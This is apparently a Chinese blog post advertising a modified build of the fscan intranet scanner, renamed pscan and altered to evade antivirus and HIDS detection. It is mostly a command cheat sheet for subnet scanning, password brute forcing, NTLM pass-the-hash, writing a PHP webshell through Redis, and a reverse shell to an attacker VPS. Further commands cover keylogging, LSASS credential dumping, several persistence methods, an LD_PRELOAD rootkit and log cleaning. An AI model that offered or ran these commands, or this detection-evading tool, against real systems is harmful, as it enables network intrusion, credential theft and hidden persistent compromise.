Fscan 魔改免杀版 — 内网渗透扫描工具

工具介绍

Fscan 魔改版 — 内网渗透扫描工具。基于 fscan v2.2.0-rc 修改,针对红队场景进行了参数混淆与特征规避。作者:webzzaa

免杀效果

火绒、360可以免杀

20260616215907537-图片

 

20260616215918456-图片

 

魔改说明

本版本对原版 fscan 做了以下修改以规避 HIDS 特征检测:

修改项 说明
参数名混淆 所有命令行参数重命名(见下方映射表)
Banner 静默 启动时不输出 fscan ASCII Logo 和版本信息
模块名重命名 Go 模块路径改为 scanner/core,去除项目名特征
预编译二进制 提供 pscan.execore.exe 两个版本

原版 ↔ 魔改参数映射:

原参数 魔改后 说明
-h -t 目标 IP / 网段 / 域名
-eh -et 排除主机
-ehf -etf 排除主机文件
-p -tp 端口
-ep -etp 排除端口
-hf -tf 主机列表文件
-pf -tpf 端口列表文件
-m -st 扫描模式
-t(线程) -tn 端口扫描线程数
-time -tm 超时时间(秒)
-user -usr 用户名
-pwd -pw 密码
-usera -ua 额外用户名
-pwda -pa 额外密码
-userf -usrf 用户名字典文件
-pwdf -pf 密码字典文件
-upf -up 用户名:密码对文件
-hashf -hf 哈希文件
-hash -hv 哈希值
-domain -dm 域名
-sshkey -sk SSH 私钥

使用场景

1. 内网扫描

# 全量扫描整个 C 段(最常用)
pscan.exe -t 192.168.1.0/24

# 仅存活探测(快速定位在线主机)
pscan.exe -t 192.168.1.0/24 -ao

# ICMP 模式存活探测
pscan.exe -t 192.168.1.0/24 -st icmp

# 存活探测 + 仅在线主机做端口扫描(跳过离线主机)
pscan.exe -t 192.168.1.0/24 -ao -st all

# 扫描多个网段
pscan.exe -t 192.168.1.0/24,10.10.0.0/16

# 扫描 IP 范围
pscan.exe -t 192.168.1.1-100

# 排除特定主机
pscan.exe -t 192.168.1.0/24 -et 192.168.1.1,192.168.1.254

# 从文件读取目标列表
pscan.exe -tf targets.txt

2. 端口与协议控制

# 扫描指定端口
pscan.exe -t 192.168.1.0/24 -tp 22,80,443,3306,3389,6379

# 扫描常用 Web 端口
pscan.exe -t 192.168.1.0/24 -tp 80,81,443,8080,8443,9090

# 扫描全部端口(慢,谨慎使用)
pscan.exe -t 192.168.1.0/24 -tp 1-65535 -tn 1000

# 排除特定端口
pscan.exe -t 192.168.1.0/24 -etp 445,139

# 跳过 Ping 探测(纯 TCP 扫描,适合禁 Ping 环境)
pscan.exe -t 192.168.1.0/24 -np

# 跳过 TCP 补充探测
pscan.exe -t 192.168.1.0/24 -ntp

# 调整扫描线程和超时(网络差时降低线程数)
pscan.exe -t 192.168.1.0/24 -tn 200 -tm 5

# 限制发包速率(规避流量检测)
pscan.exe -t 192.168.1.0/24 -rate 1000

3. 弱口令爆破

# 全量扫描 + 自动爆破(默认开启)
pscan.exe -t 192.168.1.0/24

# 禁用爆破(只扫端口和服务识别)
pscan.exe -t 192.168.1.0/24 -nobr

# 指定自定义凭据
pscan.exe -t 192.168.1.0/24 -usr admin -pw admin123

# 使用字典文件
pscan.exe -t 192.168.1.0/24 -usrf users.txt -pf pass.txt

# 使用用户名:密码对文件(每行 user:pass)
pscan.exe -t 192.168.1.0/24 -up creds.txt

# 添加额外用户/密码(与原字典合并)
pscan.exe -t 192.168.1.0/24 -ua root,admin -pa 123456,password

# 指定域名(用于域认证爆破)
pscan.exe -t 192.168.1.0/24 -dm corp.local

# SSH 私钥登录
pscan.exe -t 192.168.1.100 -sk id_rsa

# NTLM 哈希传递
pscan.exe -t 192.168.1.100 -hv "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"

4. Web 扫描

# 扫描单个 Web 站点
pscan.exe -u http://192.168.1.100:8080

# 扫描多个 URL
pscan.exe -u http://192.168.1.100 -tp 80,443,8080

# 带 Cookie 扫描
pscan.exe -u http://192.168.1.100 -cookie "PHPSESSID=xxx"

# 使用 HTTP 代理
pscan.exe -u http://192.168.1.100 -proxy http://127.0.0.1:8080

# 使用 SOCKS5 代理
pscan.exe -t 192.168.1.0/24 -socks5 socks5://127.0.0.1:1080

# 指定网卡(VPN 场景)
pscan.exe -t 10.8.0.0/24 -iface 10.8.0.5

5. POC 漏洞检测

# 全量扫描 + POC 检测(默认开启)
pscan.exe -t 192.168.1.0/24

# 禁用 POC 扫描(加快速度)
pscan.exe -t 192.168.1.0/24 -nopoc

# 全量 POC 扫描(更全面但更慢)
pscan.exe -t 192.168.1.0/24 -full

# 指定 POC 名称
pscan.exe -t 192.168.1.100 -pocname thinkphp

# 自定义 POC 脚本目录
pscan.exe -t 192.168.1.100 -pocpath ./custom-pocs/

# 调整 POC 并发数
pscan.exe -t 192.168.1.0/24 -num 10

# 启用 DNSLog
pscan.exe -t 192.168.1.0/24 -dns

6. 凭据复用与哈希传递

# NTLM 哈希传递(配合爆破模块使用)
pscan.exe -t 192.168.1.100 -hv "31d6cfe0d16ae931b73c59d7e0c089c0"

# 哈希文件批量传递
pscan.exe -t 192.168.1.0/24 -hf hashes.txt

# 复用域用户凭据
pscan.exe -t 192.168.1.0/24 -usr administrator -pw P@ssw0rd -dm corp.local

7. 后渗透利用

# 查看所有可用本地插件
pscan.exe -local list

# 收集系统信息
pscan.exe -local systeminfo

# 反弹 Shell(先在外网 VPS 监听)
pscan.exe -local reverseshell -rsh your-vps.com:4444

# 启动正向 Shell(等待目标连接)
pscan.exe -local forwardshell -fsh-port 4444

# 启动 SOCKS5 代理(本地监听 1080)
pscan.exe -local socks5proxy -start-socks5 1080

# Redis 写公钥
pscan.exe -t 192.168.1.100 -st redis -rs "ssh-rsa AAAAB3N..."

# Redis 写 Webshell
pscan.exe -t 192.168.1.100 -st redis -rwp /var/www/html -rwc "<?php system($_GET['cmd']);?>"

# 键盘记录
pscan.exe -local keylogger -keylog-output keylog.txt

# LSASS 凭证提取
pscan.exe -local minidump

# Windows 持久化(启动项)
pscan.exe -local winstartup -win-pe C:\shell.exe

# 清理痕迹
pscan.exe -local cleaner

支持的爆破服务

服务 插件 默认端口
MySQL mysql 3306
MSSQL mssql 1433
Oracle oracle 1521
PostgreSQL postgresql 5432
Redis redis 6379
MongoDB mongodb 27017
Elasticsearch elasticsearch 9200
SSH ssh 22
FTP ftp 21
Telnet telnet 23
SMB smb 445
RDP rdp 3389
VNC vnc 5900
LDAP ldap 389
SMTP smtp 25
POP3 pop3 110
IMAP imap 143
SNMP snmp 161(UDP)
DNS dns 53
Rsync rsync 873
Memcached memcached 11211
RabbitMQ rabbitmq 5672
ActiveMQ activemq 61616
Kafka kafka 9092
Zookeeper zookeeper 2181
Neo4j neo4j 7687
Cassandra cassandra 9042
MQTT mqtt 1883
Modbus modbus 502
BACnet bacnet 47808
IPMI ipmi 623
NetBIOS netbios 137-139
NFS nfs 2049
RMI rmi 1099
JDWP jdwp 5005

后渗透插件列表

通过 -local 参数调用:

插件名 功能 平台
systeminfo 系统信息收集 全平台
reverseshell 反弹 Shell 全平台
forwardshell 正向 Shell Windows
socks5proxy 启动 SOCKS5 代理 全平台
keylogger 键盘记录 Windows
minidump LSASS 凭据提取 Windows
sshkey SSH 公钥注入 Linux
cleaner 痕迹清理 全平台
crontask Cron 持久化 Linux
systemdservice Systemd 服务持久化 Linux
ldpreload LD_PRELOAD Rootkit Linux
winregistry 注册表持久化 Windows
winschtask 计划任务持久化 Windows
winservice 服务持久化 Windows
winstartup 启动项持久化 Windows
winlogon 登录脚本持久化 Windows
winwmi WMI 持久化 Windows
winbits BITS 任务持久化 Windows
winifeo IFEO 持久化 Windows
# 列出所有本地插件
pscan.exe -local list

# 使用特定插件
pscan.exe -local systeminfo

WebUI 模式

本工具内置了 Web 管理界面(需使用 web 版本编译)。

# 启动 Web 服务
pscan-web.exe

# 指定监听端口
pscan-web.exe -u

# 启动后访问 http://127.0.0.1:8080

WebUI 功能:

  • 图形化扫描任务管理
  • 实时 WebSocket 结果推送
  • 扫描预设保存
  • 资产项目管理
  • 多语言支持(中文/English)
  • 深色模式

工具下载

https://github.com/webzzaa/pscan/tree/main
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容